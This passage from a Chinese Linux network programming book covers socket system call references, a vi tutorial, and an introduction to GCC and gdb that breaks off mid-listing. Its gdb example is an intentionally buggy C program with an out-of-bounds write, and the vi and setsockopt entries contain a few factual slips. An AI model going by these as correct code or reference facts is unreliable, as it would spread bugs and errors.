–1 。一旦发生错误,全局变 量 errno 将含有如下的值: EFAULT tm 或 tmzone 参数含有不正确的地址 listen 系统调用 用法: retcode = listen ( socket, queuelen ) ; 说明: 服务器使用 listen 是套接字处于被动状态(准备接受联入请求)。在服务器处理某个请 求时,协议软件应将后续收到的请求排队,listen 也设置排队的连接请求数目。listen 只用 于 TCP 套接字。 参数: socket 类型为 int,含义是一个由 socket 调用创建的套接字描述符 queuelen 类型为 int,含义是入连接请求的队列大小 返回值: listen 若成功则返回 0 ,若发生错误则返回 –1 。一旦出错,全局变量 errno 含有如下 值之一: EBADF 错误原因是第一个参数未指定一个合法的描述符 ENOTSOCK 错误原因是第一个参数未指定一个套接字描述符 EOPNOTSUPP 错误原因是套接字类型不支持 listen read 系统调用 用法: retcode = read ( socket, buff, buflen ) ; 说明: 附录 A 有关网络通信的服务和网络库函数 - 311 - 客户机或服务器使用 read 从套接字获取输入。 参数: socket 类型为 int,含义是一个由 socket 函数创建的套接字描述符 buff 类型为&char,含义是一个存放输入字符的数组的指针 buflen 类型为 int,含义是一个整数,它指明 buff 数组中的字节数 返回值: read 如果检测到套接字上遇到文件结束就返回 0 ,若它获得了输入就返回当前读取的 字节数,如果发生了错误就返回 –1 。一旦出错,全局变量 errno 中含有如下值之一: EBADF 错误原因是第一个参数未指定合法的描述符 EFAULT 错误原因是地址 buff 不合法 EIO 错误原因是在读数据时 I/O 发生错误 EINTR 错误原因是某个信号中断了操作 EWOULDBLOCK指定的是非阻塞的 I/O ,但是套接字没有数据。 recv 系统调用 用法: retcode = recv ( socket, buffer, length, flags ) ; 说明: recv 从套接字读取下一个入报文。 参数: socket 类型为 int,含义是一个由 socket 函数创建的套接字描述符 buffer 类型为&char,含义是存放报文的缓冲区的地址 length 类型为 int,含义是缓冲区的长度 flags 类型为 int,含义是控制位,它指明是否接受带外数据和是否预览报文 返回值: recv 如果成功则返回报文中的字节数,如果发生错误则返回 –1 。一旦出错,全局变 量 errno 中含有如下值之一: EBADF 错误原因是第一个参数没有指定合法的描述符 ENOTSOCK 错误原因是第一个参数不是一个套接字描述符 EWOULDBLOCK 错误原因是套接字没有数据,但是它已经被指定为非阻塞 I/O EINTR 错误原因是在读操作时被信号所中断 EFAULT 错误原因是参数 buffer 不正确 recvfrom 系统调用 用法: retcode = recvfrom ( socket, buffer, length, flags, from , fromlen ) ; 说明: recvfrom 从套接字获取下一个报文,并记录发送者的地址(允许调用者发送应答)。 - 312 - Linux网络编程 参数: socket 类型为 int,含义是一个由 socket 函数创建的套接字描述符 buffer 类型为&char,含义是存放报文的缓冲区地址 length 类型为 int,含义是缓冲区的长度 flags 类型为 int,含义是控制位,指明是否接受带外数据和是否预览报文 from 类型为&sockaddr,含义是存放发送方地址结构的地址 fromlen 类型为&int,含义是缓冲区的长度,返回时为发送者地址的大小 返回值: recvfrom 如果成功便返回报文中的字节数,如果发生错误则返回 -1 。一旦出错,全 局变量 errno 将含有下面值之一: EBADF 错误原因是第一个参数没有指定合法的描述符 ENOTSOCK 错误原因是第一个参数没有指定一个套接字描述符 EWOULDBLOCK 错误原因是套接字没有数据,但是已经被设定为非阻塞 I/O 。 EINTR 错误原因是在读操作进行时,被信号所中断 EFAULT 错误原因是参数 buffer 不正确。 recvmsg 系统调用 用法: retcode = recvmsg ( socket, msg, flags ) ; 说明: recvmsg 返回套接字上到达的下一个报文。它将报文放入一个结构,该结构包括首部 和数据。 参数: socket 类型为 int,含义是一个由 socket 函数创建的套接字描述符 msg 类型为&struct msghdr,含义是一个报文结构的指针 flags 类型为 int,含义是控制位,它指明是否接受带外数据和是否预览报文 报文用 msghdr 传递结构,其格式如下: struct msghdr { caddr_t msg_name ; /* 可选地址 */ int msg_namelen ; /* 地址大小 */ struct iovec msg_iov ; /* 散列/紧凑数组 */ int msg_iovlen /* msg_iov 中的元素字节数 */ caddr_t msg_accrights ; /* 发送/接受权限 */ int msg_accrghtslen ; /* 特权字段的长度 */ } ; 返回码: recvmsg 如果成功便返回报文中的字节数。如果发生错误则返回 –1 。出错后,全局 变量 errno 中含有如下值之一: 附录 A 有关网络通信的服务和网络库函数 - 313 - EBADF 错误原因是第一个参数没有指定合法的描述符 ENOTSOCK 错误原因是第一个参数没有指定一个套接字描述符 EWOULDBLOCK 错误原因是套接字没有数据,但已被指定为非阻塞 I/O 。 EINTR 错误原因是在读操作可以传递数据前被信号中断 EFAULT 错误原因是参数 msg 不正确。 select 系统调用 用法: retcode = select ( numfds, refds, wrfds, exfds, time ) ; 说明: select 提供异步 I/O ,它允许单进程等待一个指定文件描述符集合中的任意一个描述 符最先就绪。调用者也可以指定最大等待时间。 参数: numfds 类型为 int,含义是集合中文件描述符的数目 refds 类型为&fd_set,含义是用作输入的文件描述符的集合 wrfds 类型为&fd_set,含义是用作输出的文件描述符的集合 exfds 类型为&fd_set,含义是用作异常的文件描述符的集合 time 类型为&struct timeval,含义是最大等待时间 涉及描述符的参数由整数组成,而整数的第 i 比特与描述符 i 相对应。宏 FD_CLR 和 FD_SET 清楚或设置各个比特位。 返回值: select 如果成功则返回就绪的文件描述符数,若时间限制已到则返回 0 ,如果发生错 误则返回 –1 。一旦出错全局变量 errno 中含有下面的值之一: EBADF 错误原因是某个描述符集合指定了一个非法的描述符。 EINTR 错误原因是在等待超时或任何一个北选择的描述符准备就绪以前,被信 号中断 EINVAL 错误原因是时间限制值不正确 send 系统调用 用法: retcode = send ( socket, msg, msglen, flags ) ; 说明: 应用程序调用 send 将一个报文传送到另一个机器。 参数: socket 类型为 int,含义是一个由 socket 函数创建的套接字描述符 msg 类型为&char,含义是报文的指针 msglen 类型为 int,含义是报文的字节长度 flags 类型为 int,含义是控制位,指定是否接受带外数据和是否预览报文 - 314 - Linux网络编程 返回值: send 若成功就返回以发送的字节数。否则返回 –1 。一旦出错,全局变量 errno 含有 如下值之一: EBADF 错误原因是第一个参数未指定合法的描述符 ENOTSOCK 错误原因是第一个参数未指定一个套接字描述符 EFAULT 错误原因是参数 msg 不正确 EMSGSIZE 错误原因是报文对套接字而言太大了 EWOULDBLOCK 错误原因是套接字没有数据,但是已经北指定为非阻塞 I/O ENOBUFS 错误原因是系统没有足够的资源完成操作 sendmsg 系统调用 用法: retcode = sendmsg ( socket, msg, flags ) ; 说明: sendmsg 从 msghdr 结构中提取出一个报文并发送。 参数: socket 类型为 int,含义是一个由 socket 函数创建的套接字描述符 msg 类型为&struct msghdr,含义是报文结构的指针 flags 类型为 int,含义是控制位,指定是否接受带外数据和是否预览报文 返回值: sendmsg 若成功就返回以发送的字节数。否则返回 –1 。一旦出错,全局变量 errno 含 有如下值之一: EBADF 错误原因是第一个参数未指定合法的描述符 ENOTSOCK 错误原因是第一个参数未指定一个套接字描述符 EFAULT 错误原因是参数 msg 不正确 EMSGSIZE 错误原因是报文对套接字而言太大了 EWOULDBLOCK 错误原因是套接字没有数据,但是已经北指定为非阻塞 I/O ENOBUFS 错误原因是系统没有足够的资源完成操作 sendto 系统调用 用法: retcode = sendto ( socket, msg, msglen, flags, to, tolen ) ; 说明: sendto 从一个结构中获取目的地址,然后发送报文。 参数: socket 类型为 int,含义是一个由 socket 函数创建的套接字描述符 msg 类型为&char,含义是报文的指针 msglen 类型为 int,含义是报文的字节长度 附录 A 有关网络通信的服务和网络库函数 - 315 - flags 类型为 int,含义是控制位,指定是否接受带外数据和是否预览报文 to 类型为&sockaddr,含义是地址结构的指针 tolen 类型为&int,含义是地址的字节长度的指针 返回值: sendto 若成功就返回以发送的字节数。否则返回 –1 。一旦出错,全局变量 errno 含有 如下值之一: EBADF 错误原因是第一个参数未指定合法的描述符 ENOTSOCK 错误原因是第一个参数未指定一个套接字描述符 EFAULT 错误原因是参数 msg 不正确 EMSGSIZE 错误原因是报文对套接字而言太大了 EWOULDBLOCK 错误原因是套接字没有数据,但是已经北指定为非阻塞 I/O ENOBUFS 错误原因是系统没有足够的资源完成操作 sethostid 系统调用 用法: (void) sethostid ( hostid ) ; 说明: 系统管理员在系统启动时运行一个有特权的程序,该程序调用 sethostid 为本地机器指 派唯一的 32 比特主机标识符。通常,主机标识符是机器的 IP 地址。 参数: hostid 类型为 int,含义是被保存作为主机标识符的值 返回值: 运行它的程序必须有 root 权限。否则 sethostid 不会改变主机的标识符。 setsockopt 系统调用 用法: retcode = setsockopt ( socket, level, opt, optval, optlen ) ; 说明: getsockopt 允许一个应用改变某个套接字的参数值或该套接字所使用的协议。 参数: socket 类型为 int,含义是一个套接字描述符 level 类型为 int,含义是一个整数,它标识某个协议级 opt 类型为 int,含义是一个整数它标识某个选项 optval 类型为&char,含义是存放返回值的缓冲区地址 optlen 类型为&int,含义是缓冲区大小,返回时为所发现的值的长度。 用于套接字的查究级选项包括: SO_DEBUG 调试信息的状态 SO_REUSEADDR 允许本地地址重用 - 316 - Linux网络编程 SO_KEEPALIVE 连接保持状态 SO_DONTROUTE 忽略出报文的选路 SO_LINGER 如果存在数据,延迟关闭 SO_BROADCAST 允许传输广播报文 SO_OOBINLINE 在带内接受带外数据 SO_SNDBUF 输出缓冲区大小 SO_RCVBUF 输入缓冲区大小 SO_TYPE 套接字的类型 SO_ERROR 获取并清楚套接字的上一次出错 返回值: setsockopt 如果成功则返回 0 ,如果发生错误则返回 –1 ,并且 errno 全局变量中含有 如下值之一: EBADF 错误原因是第一个参数未指定一个合法的描述符 ENOTSOCK 错误原因是第一个参数未指定一个套接字描述符 ENOPROTOOPT 错误原因是 opt 不正确 EFAULT 错误原因是 optval 或 optlen 的地址不正确 shutdown 系统调用 用法: retcode = shutdown ( socket, direction ) ; 说明: shutdown 函数用于全双工的套接字,并且用于部分关闭连接。 参数: socket 类型为 int,含义是一个由 socket 函数创建的套接字描述符 direction 类型为 int,含义是 shutdown 需要的方向: 0 表示终止进一步输入,1 表 示终止进一步输出,2 表示终止输入输出。 返回值: shutdown 调用若操作成功则返回 0 ,若发生错误则返回 –1 。一旦出错,全局变量 errno 中含有一个指出错误原因的代码: EBADF 错误原因是第一个参数未指明一个合法的描述符 ENOTSOCK 错误原因是第一个参数未指明一个套接字描述符 ENOTCONN 错误原因是指定的套接字当前未连接 socket 系统调用 用法: retcode = socket ( family, type, protocol ) ; 说明: socket 函数创建一个用于网络通信的套接字,并返回该套接字的整数描述符。 附录 A 有关网络通信的服务和网络库函数 - 317 - 参数: family 类型为 int,含义是协议或地址族( 对于 TCP/IP 为 PF_INET ,也可使用 AF_INET ) type 类型为 int,含义是服务的类型(对于 TCP 为 SOCK_STREAM,对于 UDP 为 SOCK_DGRAM) protocol 类型为 int,含义是使用的协议号,或是用 0 指定 family 和 type 的默认协 议号 返回值: EPROTONOSUPPORT 错误原因是参数中的错误:申请的服务或指定的协议无 效 EMFILE 错误原因是应用程序的描述符表已经满 ENFILE 错误原因是内部的系统文件表已满 ENOBUFS 错误原因是系统没有可用的缓冲空间 write 系统调用 用法: retcode = write ( socket, buff, buflen ) ; 说明: write 允许一个应用程序给远方的客户端发送信息。 参数: socket 类型为 int,含义是一个由 socket 函数创建的套接字描述符 buff 类型为&char,含义是一个存放输入字符的数组的指针 buflen 类型为 int,含义是一个整数,它指明 buff 数组中的字节数 返回值: write 若它成功就返回发送的字节数,如果发生了错误就返回 –1 。一旦出错,全局变 量 errno 中含有如下值之一: EBADF 错误原因是第一个参数未指定合法的描述符 EPIPE 错误原因是试图向一个未连接的流套接字上写 EFBIG 错误原因是写入的数据超过了系统容量 EFAULT 错误原因是地址 buff 不合法 EINVAL 错误原因是套接字的指针无效 EIO 错误原因是在读数据时 I/O 发生错误 EWOULDBLOCK指定的是非阻塞的 I/O ,但是套接字没有数据。 附录 B Vi 使用简介 - 319 - 附录 B Vi 使用简介 Vi 是 Unix 世界里极为普遍的全屏幕文本编辑器,几乎可以说任何一台 Unix 机器都会 提供这套软件。Linux 当然也有,它的 vi 其实是 elvis(版权问题),不过它们都差不多。熟 悉 DOS 下的文本处理后,也许会感到 vi 并不好用;Unix 上也已经发展出许多更新、更好 用的文本编辑器,但是并不一定每一台 Unix 机器上都会安装这些额外的软件。所以,学习 vi 的基本操作还是有好处,让你在各个不同的机器上得心应手。 B.1 Vi 基本观念 Unix 提供一系列的 ex 编辑器,包括 ex, edit 和 vi。相对於全屏幕编辑器,现在可能很 难想像如何使用 ex, edit 这种行列编辑器(有人用过 DOS 3.3版以前所附的 EDLIN 吗?)。 Vi 的原意是“ Visual”,它是一个立即反应的编辑程式,也就是说可以立刻看到操作结果。 也由於 vi 是全屏幕编辑器,所以它必须控制整个终端屏幕哪里该显示些什么。而终端 的种类有许多种,特性又不尽相同,所以 vi 有必要知道现在所使用的是哪一种终端机。这 是藉由 TERM 这个环境变数来设定,设定环境变数方面请查看所使用 shell 的说明。(除非 执行 vi 的时候回应 unknow terminal type,否则可以不用设定。) 只要简单的执行 vi 就可以进入 vi 的编辑环境。在实际操作之前先对它有个概略的了解 会比较好。Vi 有两种模式,输入模式以及命令模式。输入模式即是用来输入文字数据,而 命令模式则是用来下达一些编排文件、存文件、以及离开 vi 等等的操作命令。当执行 vi 后, 会先进入命令模式,此时输入的任何字符都视为命令。 B.1.1 进入与离开 要进入 vi 可以直接在系统提示字符下输入 vi <文件名称>,vi 可以自动帮你调入所 要编辑的文件或是开启一个新文件。进入 vi 后屏幕左方会出现波浪符号,凡是列首有该符 号就代表此列目前是空的。要离开 vi 可以在命令模式下输入 :q, :wq 命令则是存文件后再 离开(注意冒号)。要切换到命令模式下则是用 [ESC] 键,如果不晓得现在是处于什么模 式,可以多按几次 [ESC],系统会发出哔哔声以确定进入命令模式。 B.1.2 Vi 输入模式 要如何输入数据呢?有好几个命令可以进入输入模式: 新增(append) 从光标所在位置后面开始新增数据,光标后的数据随新增数据向后移动。A 从光标所 在列最后面的地方开始新增数据。 插入(insert) I 从光标所在位置前面开始插入数据,光标后的数据随新增数据向后移动。I 从光标所 在列的第一个非空白字符前面开始插入数据。 开始(open) o 在光标所在列下新增一列并进入输入模式。 O 在光标所在列上方新增一列并进入输入模式。 也许文字叙述看起来有点复杂,但是只要实际操作一下马上可以了解这些操作方式。 实践很重要,尤其是电脑方面的东西随时可以尝试及验证结果。极力建议实际去使用它而 - 320 - Linux网络编程 不要只是猛 K文件,才有事半功倍的效用。 B.2 Vi 基本编辑 配合一般键盘上的功能键,像是方向键、[Insert] 、[Delete] 等等,现在你应该已经可 以利用 vi 来处理文字数据了。当然 vi 还提供其他许许多多功能让文字的处理更形方便,有 兴趣的看倌请继续。 在继续下去之前先来点 BCC 吧。电脑有许多厂牌,不同的硬体及操作系统。PC 也不 是仅仅只有 IBM PC 及其兼容品而已。事实上,包括键盘,终端等等往往都有不同的规格。 这代表什么? 在文本编辑软件上会遇这样的问题,某些电脑的键盘上没有特定的几个功能键!那麽 不就有某些功能不能用了?这个问题在 Unix 系统上也一样,几乎各大电脑厂商都有自己的 Unix 系统,而 vi 的操作方法也会随之有点出入。我们固然可以用 PC 的键盘来说明 vi 的操 作,但是还是得提一下这个问题。 B.2.1 删除与修改 何谓编辑?在这里我们认为是文字的新增修改以及删除,甚至包括文字区块的搬移、 复制等等。这里先介绍 vi 的如何做删除与修改。(注意:在 vi 的原始观念里,输入跟编辑 是两码子事。编辑是在命令模式下操作的,先利用命令移动光标来定位要进行编辑的地方, 然后才下命令做编辑。) x 删除光标所在字符。 dd 删除光标所在的列。 r 修改光标所在字符,r 后接著要修正的字符。 R 进入取代状态,新增数据会覆盖原先数据,直到按 [ESC] 回到命令模式下为止。 s 删除光标所在字符,并进入输入模式。 S 删除光标所在的列,并进入输入模式。 其实呢,在 PC 上根本没有这麽麻烦!输入跟编辑都可以在输入模式下完成。例如要 删除字符,直接按 [Delete] 不就得了。而插入状态与取代状态可以直接用 [Insert] 切换, 犯不著用什么命令模式的编辑命令。不过就如前面所提到的,这些命令几乎是每台终端都 能用,而不是仅仅在 PC 上。 在命令模式下移动光标的基本命令是 h, j, k, l。想来各位现在也应该能猜到只要直接用 PC 的方向键就可以了,而且无论在命令模式或输入模式下都可以。多容易不是。 当然 PC 键盘也有不足之处。有个很好用的命令 u 可以恢复被删除的数据,而 U 命令 则可以恢复光标所在列的所有改变。这与某些电脑上的 [Undo] 按键功能相同。 B.3 Vi 进阶应用 相信现在对於 vi 应该已经有相当的认识。处理文字也不会有什么麻烦才对。如果有兴 趣善用 vi 的其它功能进一步简化操作过程,不妨继续看下去。 B.3.1 移动光标 由於许多编辑工作是由光标来定位,所以 vi 提供许多移动光标的方式,这个我们列几 张简表来说明(这些当然是命令模式下的命令): 命令 说明 功能键 0 移动到光标所在列的最前面 [Home] $ 移动到光标所在列的最后面 [End] 附录 B Vi 使用简介 - 321 - [CTRL][d] 向下半页 [CTRL][f] 向下一页 [PageDown] [CTRL][u] 向上半页 [CTRL][b] 向上一页 [PageUp] 命令 说明 H 移动到视窗的第一列 M 移动到视窗的中间列 L 移动到视窗的最后列 b 移动到下个字的第一个字母 w 移动到上个字的第一个字母 e 移动到下个字的最后一个字母 ^ 移动到光标所在列的第一个非空白字符 命令 说明 n- 减号移动到上一列的第一个非空白字符 前面加上数字可以指定移动到以上 n 列 n+ 加号移动到下一列的第一个非空白字符 前面加上数字可以指定移动到以下 n 列 nG 直接用数字 n 加上大写 G 移动到第 n 列 命令 说明 fx 往右移动到 x 字符上 Fx 往左移动到 x 字符上 tx 往右移动到 x 字符前 Tx 往左移动到 x 字符前 ; 配合 f&t 使用,重复一次 , 配合 f&t 使用,反方向重复一次 /string 往右移动到有 string 的地方 ?string 往左移动到有 string 的地方 n 配合 /&? 使用,重复一次 N 配合 /&? 使用,反方向重复一次 命令 说明 备注 n( 左括号移动到句子的最前 面 句子是以 前面加上数字可以指定往 前移动 n 个句子 ! . ? 三种符号来 界定 n) 右括号移动到下个句子的 最前面 前面加上数字可以指定往 后移动 n 个句子 n{ 左括弧移动到段落的最前 面 段落是以 前面加上数字可以指定往 前移动 n 个段落 段落间的空白列 界定 n} 右括弧移动到下个段落的 最前面 - 322 - Linux网络编程 前面加上数字可以指定往 后移动 n 个段落 不要尝试背诵这些命令,否则后果自行负责。它们看起来又多又杂乱,事实上这是文 字叙述本身的障碍。再强调一次,实际去使用它只要几次就可以不经大脑直接下达这些奇 奇怪怪的命令,远比死记活背搞得模模糊糊强多了。 B.3.2 进阶编辑命令 这些编辑命令非常有弹性,基本上可以说是由命令与范围所构成。例如 dw 是由删除 指令 d 与范围 w 所组成,代表删除一个字 d(elete) w(ord)。 命令列表如下: d 删除(delete) y 复制(yank) p 放置(put) c 修改(change) 范围可以是下列几个: e 光标所在位置到该字的最后一个字母 w 光标所在位置到下个字的第一个字母 b 光标所在位置到上个字的第一个字母 $ 光标所在位置到该列的最后一个字母 0 光标所在位置到该列的第一个字母 ) 光标所在位置到下个句子的第一个字母 ( 光标所在位置到该句子的第一个字母 ) 光标所在位置到该段落的最后一个字母 { 光标所在位置到该段落的第一个字母 说实在的,组合这些命令来编辑文件有一点点艺术气息。不管怎麽样,它们提供更多 编辑文字的能力。值得注意的一点是删除与复制都会将指定范围的内容放到暂存区里,然 后就可以用命令 p 贴到其它地方去,这是 vi 用来处理区段拷贝与搬移的办法。 某些 vi 版本,例如 Linux 所用的 elvis 可以大幅简化这一坨命令。如果稍微观察一下这 些编辑命令就会发现问题其实是定范围的方式有点杂,实际上只有四个命令罢了。命令 v 非常好用,只要按下 v 键,光标所在的位置就会反白,然后就可以移动光标来设定范围, 接著再直接下命令进行编辑即可。 对於整列操作,vi 另外提供了更方便的编辑命令。前面曾经提到过删除整列文字的指 令 dd 就是其中一个;cc 可以修改整列文字;而 yy 则是复制整列文字;命令 D 则可以删除 光标到该列结束为止所有的文字。 B.3.3 文件命令 文件命令多以“ :” 开头,跟编辑命令有点区别。例如前面提到结束编辑的命令就是:q。 现在就简单说明一下作为本篇的结尾: :q 结束编辑(quit)如果不想存文件而要放弃编辑过的文件则用:q! 强制离开。 :w 存文件(write) 其后可加所要存文件的文件名。 可以将文件命令合在一起,例如:wq 即存文件后离开。 zz 功能与 :wq 相同。 另外值得一提的是 vi 的部份存文件功能。可以用 :n,mw filename 将第 n 行到第 m 行 附录 B Vi 使用简介 - 323 - 的文字存放的所指定的 filename 里去哩。时代在变,世界在变,vi 也在变,不过大致上就 这么多了。 - 324 - Linux网络编程 附录 C Linux 下 C 语言使用与调试简介 C.1 C 语言编程 Linux 的发行版中包含了很多软件开发工具。它们中的很多是用于 C 和 C++应用程序 开发的。本文介绍了在 Linux 下能用于 C 应用程序开发和调试的工具。本文的主旨是介绍 如何在 Linux 下使用 C 编译器和其他 C 编程工具,而非 C 语言编程的教程。在本文中你将 学到以下知识: 什么是 C GNU C 编译器 用 gdb 来调试 GCC 应用程序 你也能看到随 Linux 发行的其他有用的 C 编程工具。这些工具包括源程序美化程序 (pretty print programs),附加的调试工具,函数原型自动生成工具(automatic function prototypers)。 注意:源程序美化程序(pretty print programs)自动帮你格式化源代码产生始终如一的缩进格式。 C.2 什么是 C? C 是一种在 UNIX 操作系统的早期就被广泛使用的通用编程语言。它最早是由贝尔实 验室的 Dennis Ritchie 为了 UNIX 的辅助开发而写的,开始时 UNIX 是用汇编语言和一种叫 B 的语言编写的。从那时候起,C 就成为世界上使用最广泛计算机语言。 C 能在编程领域里得到如此广泛支持的原因有以下一些: 它是一种非常通用的语言。几乎你所能想到的任何一种计算机上都有至少一种能 用的 C 编译器。并且它的语法和函数库在不同的平台上都是统一的,这个特性对开发者来 说很有吸引力。 用 C 写的程序执行速度很快。 C 是所有版本的 UNIX 上的系统语言。 C 在过去的二十年中有了很大的发展。在 80 年代末期美国国家标准协会(American National Standards Institute)发布了一个被称为 ANSI C的 C 语言标准。这更加保证了将来 在不同平台上的 C 的一致性。在 80 年代还出现了一种 C 的面向对象的扩展称为 C++。 Linux 上可用的 C 编译器是 GNU C编译器,它建立在自由软件基金会的编程许可证的 基础上,因此可以自由发布。你能在 Linux 的发行光盘上找到它。 C.3 GNU C 编译器 随 Slackware Linux 发行的 GNU C 编译器(GCC)是一个全功能的 ANSI C兼容编译 器。如果你熟悉其他操作系统或硬件平台上的一种 C 编译器,你将能很快地掌握 GCC。本 节将介绍如何使用 GCC 和一些 GCC 编译器最常用的选项。 C.3.1 使用 GCC 通常后跟一些选项和文件名来使用 GCC 编译器。gcc 命令的基本用法如下: gcc [options] [filenames] 附录 C Linux下 c 语言使用与调试简介 - 325 - 命令行选项指定的操作将在命令行上每个给出的文件上执行。下一小节将叙述一些你 会最常用到的选项。 C.3.2 GCC 选项 GCC 有超过 100 个的编译选项可用。这些选项中的许多你可能永远都不会用到,但一 些主要的选项将会频繁用到。很多的 GCC 选项包括一个以上的字符,因此你必须为每个选 项指定各自的连字符,并且就象大多数 Linux 命令一样你不能在一个单独的连字符后跟一 组选项。例如,下面的两个命令是不同的: gcc -p -g test.c gcc -pg test.c 第一条命令告诉 GCC 编译 test.c 时为 prof 命令建立剖析(profile)信息并且把调试信 息加入到可执行的文件里。第二条命令只告诉 GCC 为 gprof 命令建立剖析信息。 当你不用任何选项编译一个程序时,GCC 将会建立(假定编译成功)一个名为 a.out 的可执行文件。例如,下面的命令将在当前目录下产生一个叫 a.out 的文件: gcc test.c 注意:当你使用-o 选项时,-o 后面必须跟一个文件名。 你能用-o 编译选项来为将产生的可执行文件指定一个文件名来代替 a.out。例如,将一 个叫 count.c 的 C 程序编译为名叫 count 的可执行文件,你将输入下面的命令: gcc -o count count.c GCC 同样有指定编译器处理多少的编译选项。-c 选项告诉 GCC 仅把源代码编译为目 标代码而跳过汇编和连接的步骤。这个选项使用的非常频繁因为它使得编译多个 C 程序时 速度更快并且更易于管理。缺省时 GCC 建立的目标代码文件有一个.o 的扩展名。 S 编译选项告诉 GCC 在为 C 代码产生了汇编语言文件后停止编译。GCC 产生的汇编 语言文件的缺省扩展名是.s。-E 选项指示编译器仅对输入文件进行预处理。当这个选项被 使用时,预处理器的输出被送到标准输出而不是储存在文件里。 C.3.3 优化选项 当你用 GCC 编译 C 代码时,它会试着用最少的时间完成编译并且使编译后的代码易 于调试,易于调试意味着编译后的代码与源代码有同样的执行次序,编译后的代码没有经 过优化。有很多选项可用于告诉 GCC 在耗费更多编译时间和牺牲易调试性的基础上产生更 小更快的可执行文件。这些选项中最典型的是-O 和 -O2 选项。 O 选项告诉 GCC 对源代码进行基本优化。这些优化在大多数情况下都会使程序执行的 更快。-O2 选项告诉 GCC 产生尽可能小和尽可能快的代码。-O2 选项将使编译的速度比使 用 -O 时慢。但通常产生的代码执行速度会更快。 除了 -O 和 -O2 优化选项外,还有一些低级选项用于产生更快的代码。这些选项非常 的特殊,而且最好只有当你完全理解这些选项将会对编译后的代码产生什么样的效果时再 去使用。这些选项的详细描述,请参考 GCC 的指南页,在命令行上键入 man gcc。 C.3.4 调试和剖析选项 GCC 支持数种调试和剖析选项。在这些选项里你会最常用到的是 -g 和 -pg 选项。 g 选项告诉 GCC 产生能被 GNU 调试器使用的调试信息以便调试你的程序。GCC 提供 了一个很多其他 C 编译器里没有的特性,在 GCC 里你能使 -g 和 -O (产生优化代码)联用。 - 326 - Linux网络编程 这一点非常有用因为你能在与最终产品尽可能相近的情况下调试你的代码。在你同时使用 这两个选项时你必须清楚你所写的某些代码已经在优化时被 GCC 作了改动。关于调试 C 程序的更多信息请看下一节“ 用 gdb 调试 C 程序”。-pg 选项告诉 GCC 在你的程序里加入 额外的代码,执行时,产生 gprof 用的剖析信息以显示你的程序的耗时情况。关于 gprof 的 更多信息请参考 “ gprof” 一节。 C.3.5 用 gdb 调试 GCC 程序 Linux 包含了一个叫 gdb 的 GNU 调试程序。gdb 是一个用来调试 C 和 C++ 程序的强 力调试器。它使你能在程序运行时观察程序的内部结构和内存的使用情况。以下是 gdb 所 提供的一些功能: 它使你能监视你程序中变量的值。 它使你能设置断点以使程序在指定的代码行上停止执行。 它使你能一行行的执行你的代码。 在命令行上键入 gdb 并按回车键就可以运行 gdb 了,如果一切正常的话,gdb 将被启 动并且你将在屏幕上看到类似的内容: GDB is free software and you are welcome to distribute copies of it under certain conditions; type “show copying” to see the conditions. There is absolutely no warranty for GDB; type “show warranty” for details. GDB 4.14 (i486-slakware-linux), Copyright 1995 Free Software Foundation, Inc. (gdb) 当你启动 gdb 后,你能在命令行上指定很多的选项。你也可以以下面的方式来运行 gdb : gdb <fname> 当你用这种方式运行 gdb,你能直接指定想要调试的程序。这将告诉 gdb 装入名为 fname 的可执行文件。你也可以用 gdb 去检查一个因程序异常终止而产生的 core 文件,或者与一 个正在运行的程序相连。你可以参考 gdb 指南页或在命令行上键入 gdb – h 得到一个有关这 些选项的说明的简单列表。 1.为调试编译代码(Compiling Code for Debugging) 为了使 gdb 正常工作,你必须使你的程序在编译时包含调试信息。调试信息包含你程 序里的每个变量的类型和在可执行文件里的地址映射以及源代码的行号。gdb 利用这些信 息使源代码和机器码相关联。 在编译时用 –g 选项打开调试选项。 2.gdb 基本命令 gdb 支持很多的命令使你能实现不同的功能。这些命令从简单的文件装入到允许你检 查所调用的堆栈内容的复杂命令,表 C-1 列出了你在用 gdb 调试时会用到的一些命令。想 了解 gdb 的详细使用请参考 gdb 的指南页。 表 C-1 gdb 的常用命令 命 令 描 述 File 装入想要调试的可执行文件。 Kill 终止正在调试的程序。 List 列出产生执行文件的源代码的一部分。 Next 执行一行源代码但不进入函数内部。 Step 执行一行源代码而且进入函数内部。 Run 执行当前被调试的程序 Quit 终止 gdb 附录 C Linux下 c 语言使用与调试简介 - 327 - Watch 使你能监视一个变量的值而不管它何时被改变。 Break 在代码里设置断点,这将使程序执行到这里时被挂起。 Make 使你能不退出 gdb 就可以重新产生可执行文件。 Shell 使你能不离开 gdb 就执行 UNIX shell 命令。 gdb 支持很多与 UNIX shell 程序一样的命令编辑特征。你能象在 bash 或 tcsh 里那样按 Tab 键让 gdb 帮你补齐一个唯一的命令,如果不唯一的话 gdb 会列出所有匹配的命令。你 也能用光标键上下翻动历史命令。 3.gdb 应用举例 本节用一个实例教你一步步的用 gdb 调试程序。被调试的程序相当的简单,但它展示 了 gdb 的典型应用。 下面列出了将被调试的程序。这个程序被称为 greeting,它显示一个简单的问候,再用 反序将它列出。 #include <stdio.h> main () { char my_string[] = “hello there”; my_print (my_string); my_print2 (my_string); } void my_print (char *string) { printf (“The string is %s\n”, string); } void my_print2 (char *string) { char *string2; int size, i; size = strlen (string); string2 = (char *) malloc (size + 1); for (i = 0; i < size; i++) { string2[size – i] = string[i]; } string2[size+1] = ‘\0’; printf (“The string printed backward is %s\n”, string2); } 用下面的命令编译它: gcc –ggdb – o test test.c 这个程序执行时显示如下结果: The string is hello there The string printed backward is 输出的第一行是正确的,但第二行打印出的东西并不是我们所期望的。我们所设想的 - 328 - Linux网络编程 输出应该是: The string printed backward is ereht olleh 由于某些原因,my_print2 函数没有正常工作。让我们用 gdb 看看问题究竟出在哪儿, 先键入如下命令: gdb greeting 注意: 记得在编译 greeting 程序时把调试选项打开。 如果你在输入命令时忘了把要调试的程序作为参数传给 gdb,你可以在 gdb 提示符下 用 file 命令来载入它: (gdb) file greeting 这个命令将载入 greeting 可执行文件就象你在gdb 命令行里装入它一样。这时你能用gdb 的 run 命令来运行 greeting 了。当它在 gdb 里被运行后结果大约会象这样: (gdb) run Starting program: /root/greeting The string is hello there The string printed backward is Program exited with code 041 这个输出和在 gdb 外面运行的结果一样。问题是,为什么反序打印没有工作? 为了找 出症结所在,我们可以在 my_print2 函数的 for 语句后设一个断点,具体的做法是在 gdb 提 示符下键入 list 命令三次,列出源代码: (gdb) list (gdb) list (gdb) list 技巧:在 gdb 提示符下按回车健将重复上一个命令。 第一次键入 list 命令的输出如下: 1 #include <stdio.h> 2 3 main () 4 { 5 char my_string[] = “hello there”; 6 7 my_print (my_string); 